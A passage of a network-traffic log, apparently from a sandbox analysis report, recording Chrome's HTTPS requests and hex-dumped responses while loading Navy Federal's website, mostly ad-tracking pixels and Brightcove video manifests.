2024-05-24 22:46:45 UTC	3786	IN	Data Raw: 65 63 33 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 01 5c 02 7c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 05 01 03 04 06 07 02 08 ff c4 00 53 10 00 01 03 03 00 04 05 0c 0e 08 04 06 03 01 00 00 00 01 02 03 04 05 11 06 12 21 31 13 41 51 71 d1 14 15 22 32 34 52 Data Ascii: ec3JFIFC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222\\|"S!1AQq"24R
2024-05-24 22:46:46 UTC	14081	IN	Data Raw: 33 36 66 39 0d 0a 83 cb 1b f4 6a 18 d8 f6 ab d8 e7 eb 35 17 6b 72 e5 c6 49 6e b3 5b 3a b3 aa fa 8a 9f aa 33 9e 13 51 33 9e 5e 72 fd 35 15 25 12 3f a9 69 a2 85 5e b9 77 06 c4 6e 57 c3 83 89 54 8b 8b 4a fb ee 75 18 34 d3 7e 88 8d fa 6e ef dd 3f 32 d5 6b db 45 a5 90 d5 55 61 20 7c 1a 8c 7b b7 35 d9 f4 7f 72 7f 80 83 aa 3a a3 83 67 0d ab ab af 8d b8 e4 c9 59 e0 86 a6 25 8e 78 db 23 17 7a 39 32 87 9d 2c 34 9c 5a 4f 7b dd 1b 55 64 9a ba da d6 35 eb f5 4c 15 ef a3 a4 a5 73 65 a9 59 da f4 56 2e 75 11 37 ae 50 8f b9 4f a1 3a 56 ca 88 ab ea 69 52 7a 55 74 6e 92 47 70 32 b3 1c 68 ab 85 54 f3 a1 b5 d3 5b e8 e8 95 56 9a 9e 38 d5 77 ab 5b b5 4c 0b 86 8b d8 ae d5 3c 3d 75 ae 9a 79 b8 de e6 6d 5e 75 4d fe 52 fc 34 1c 27 29 cd ee ed c7 e8 a6 bc 94 e0 a1 15 b2 ef f6 73 17 Data Ascii: 36f9j5krIn[:3Q3^r5%?i^wnWTJu4~n?2kEUa \|{5r:gY%x#z92,4ZO{Ud5LseYV.u7PO:ViRzUtnGp2hT[V8w[L<=uym^uMR4')s
2024-05-24 22:46:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.6	50579	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=41c189dc-0747-403e-98b2-97aff675ae2c&mt=&bd=&cb=1716590803977 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 0f705587a2ea65ac0dab8ac610d33a73 Date: Fri, 24 May 2024 22:46:45 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.6	50582	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	1449	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&time=1716590803483&event=video_impression&video=5368522558001&video_name=Wherever%2C%20Whenever%20-%20Contact%20Us&custom_fields=&video_data=&video_ads_supported=true&&video_duration=50&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Fclear%2F5289441629001%2F033ac09c-da10-46ef-b933-8674b64cc46d%2F10s%2Fmaster.m3u8%3Ffastly_token%3DNjY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%253D%253D&preload=auto&qos.content.sourceMimeType=application%2Fvnd.apple.mpegurl&seq=4_0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:45 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:45 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.6	50581	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	558	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/10s/master.m3u8?fastly_token=NjY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	682	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5769 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Bolt-Device-Group: desktop-chrome X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 7988 Date: Fri, 24 May 2024 22:46:45 GMT Via: 1.1 varnish X-Served-By: cache-ewr18154-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590806.770831,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 34 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 30 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 63 39 63 64 36 30 36 31 2d 66 63 35 31 2d Data Ascii: #EXTM3U#EXT-X-VERSION:4#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/c9cd6061-fc51-
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 35 36 61 33 66 61 33 36 2d 37 38 31 63 2d 34 38 65 32 2d 61 64 37 39 2d 39 31 34 35 66 35 65 61 30 37 62 35 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 55 78 59 7a 42 66 4e 6d 51 34 5a 6d 5a 6a 4d 54 59 30 4e 6d 55 34 4d 6a 46 6a 4e 47 45 30 4d 7a 56 69 4e 54 41 34 4d 32 4d 34 4e 7a 64 69 4f 57 56 68 4e 6a 46 6d 4d 6a 63 35 5a 57 46 69 4f 54 45 78 4d 7a 6b 79 4d 6d 55 Data Ascii: RI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/56a3fa36-781c-48e2-ad79-9145f5ea07b5/iframe.m3u8?fastly_token=NjY1MTUxYzBfNmQ4ZmZjMTY0NmU4MjFjNGE0MzViNTA4M2M4NzdiOWVhNjFmMjc5ZWFiOTExMzkyMmU
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 38 38 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 55 78 59 7a 42 66 5a 47 56 6b 4d 7a 4e 69 5a 44 52 69 5a 47 55 34 4e 6d 4e 6b 4e 44 4e 6b 4e 54 67 7a 4e 54 4a 6b 4d 7a 6b 34 5a 6d 49 78 4f 44 41 77 4e 7a 45 31 59 7a 6b 34 59 7a 45 35 5a 54 6b 32 5a 44 63 79 4e 54 6b 78 59 54 4e 6a 59 54 63 32 4e 6a 55 35 59 7a 5a 6a 4e 51 25 33 44 25 33 44 22 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 32 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 Data Ascii: 88/iframe.m3u8?fastly_token=NjY1MTUxYzBfZGVkMzNiZDRiZGU4NmNkNDNkNTgzNTJkMzk4ZmIxODAwNzE1Yzk4YzE5ZTk2ZDcyNTkxYTNjYTc2NjU5YzZjNQ%3D%3D"#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-2",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifes
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 4d 2d 49 4e 46 3a 50 52 4f 47 52 41 4d 2d 49 44 3d 30 2c 42 41 4e 44 57 49 44 54 48 3d 31 34 34 37 36 30 30 2c 43 4f 44 45 43 53 3d 22 6d 70 34 61 2e 34 30 2e 32 2c 61 76 63 31 2e 34 64 30 30 31 66 22 2c 52 45 53 4f 4c 55 54 49 4f 4e 3d 39 36 30 78 35 34 30 2c 41 55 44 49 4f 3d 22 61 75 64 69 6f 2d 32 22 2c 43 4c 4f 53 45 44 2d 43 41 50 54 49 4f 4e 53 3d 4e 4f 4e 45 2c 53 55 42 54 49 54 4c 45 53 3d 22 73 75 62 74 69 74 6c 65 73 2d 30 22 0a 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 Data Ascii: M-INF:PROGRAM-ID=0,BANDWIDTH=1447600,CODECS="mp4a.40.2,avc1.4d001f",RESOLUTION=960x540,AUDIO="audio-2",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0"https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc4
2024-05-24 22:46:45 UTC	285	IN	Data Raw: 30 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 66 66 34 34 64 65 35 66 2d 35 66 63 30 2d 34 62 34 31 2d 39 34 30 37 2d 36 63 32 64 38 61 31 32 66 39 38 30 2f 69 66 72 61 6d 65 2e 6d 33 75 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 54 55 78 59 7a 42 66 4e 7a 41 35 4f 54 45 35 4e 6a 4d 7a 59 6d 4a 69 4f 44 64 6d 4e 44 67 30 59 54 41 31 4e 6a 49 33 4d 54 4e 6c 5a 44 67 7a 4d 7a 63 33 5a 44 68 6c 4e 6a 6b 77 4d 44 59 35 5a 54 41 78 4d 6a 6c 68 Data Ascii: 0,URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/ff44de5f-5fc0-4b41-9407-6c2d8a12f980/iframe.m3u8?fastly_token=NjY1MTUxYzBfNzA5OTE5NjMzYmJiODdmNDg0YTA1NjI3MTNlZDgzMzc3ZDhlNjkwMDY5ZTAxMjlh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.6	50580	151.101.2.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:45 UTC	816	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfZGRkMGU3YjQ3NzNmNjIxNzg5NTU2MzY5ZTdkMDEzOThmNWE4NDIyMmU4ZTBiOGUyZjY4N2QyNThlMzczMGY3Ng%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:45 UTC	645	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2084 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 7988 Date: Fri, 24 May 2024 22:46:45 GMT Via: 1.1 varnish X-Served-By: cache-ewr18181-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590806.774776,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:45 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 31 30 0a 23 45 58 54 49 4e 46 3a 31 30 2e 30 30 30 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:10#EXTINF:10.000,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc2
2024-05-24 22:46:45 UTC	713	IN	Data Raw: 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 38 65 34 31 34 38 38 2f 31 78 2f 73 65 67 6d 65 6e 74 33 2e 74 73 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 35 33 37 36 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 38 65 34 31 34 38 38 2f 2a 7e 68 6d 61 63 3d 32 35 32 35 31 38 39 34 62 64 62 37 63 61 39 36 Data Ascii: 033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment3.ts?akamai_token=exp=1716605376~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/*~hmac=25251894bdb7ca96

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.6	50583	18.195.126.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:46 UTC	781	OUT	GET /sync/v1?source_id=5b286190338513af73f09c28&source_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:46 UTC	83	IN	HTTP/1.1 204 No Content Date: Fri, 24 May 2024 22:46:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.6	50588	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:46 UTC	1207	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&time=1716590803483&event=video_impression&video=5368522558001&video_name=Wherever%2C%20Whenever%20-%20Contact%20Us&custom_fields=&video_data=&video_ads_supported=true&&video_duration=50&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Fclear%2F5289441629001%2F033ac09c-da10-46ef-b933-8674b64cc46d%2F10s%2Fmaster.m3u8%3Ffastly_token%3DNjY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%253D%253D&preload=auto&qos.content.sourceMimeType=application%2Fvnd.apple.mpegurl&seq=4_0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:46 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:46 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:46 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.6	50587	151.101.2.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:46 UTC	816	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfYjJhM2E5MWNhNDU3NzllZWJkMDkzNjdmODkyODE5YWY0M2U0ZDg5MjZhYzZlNjMzNDIzNzUzY2I5MzIyNTIyZQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://players.brightcove.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:46 UTC	652	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2472 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 8620 Date: Fri, 24 May 2024 22:46:46 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890075-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590807.586736,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:46 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 31 30 0a 23 45 58 54 49 4e 46 3a 39 2e 39 38 35 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:10#EXTINF:9.985,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c
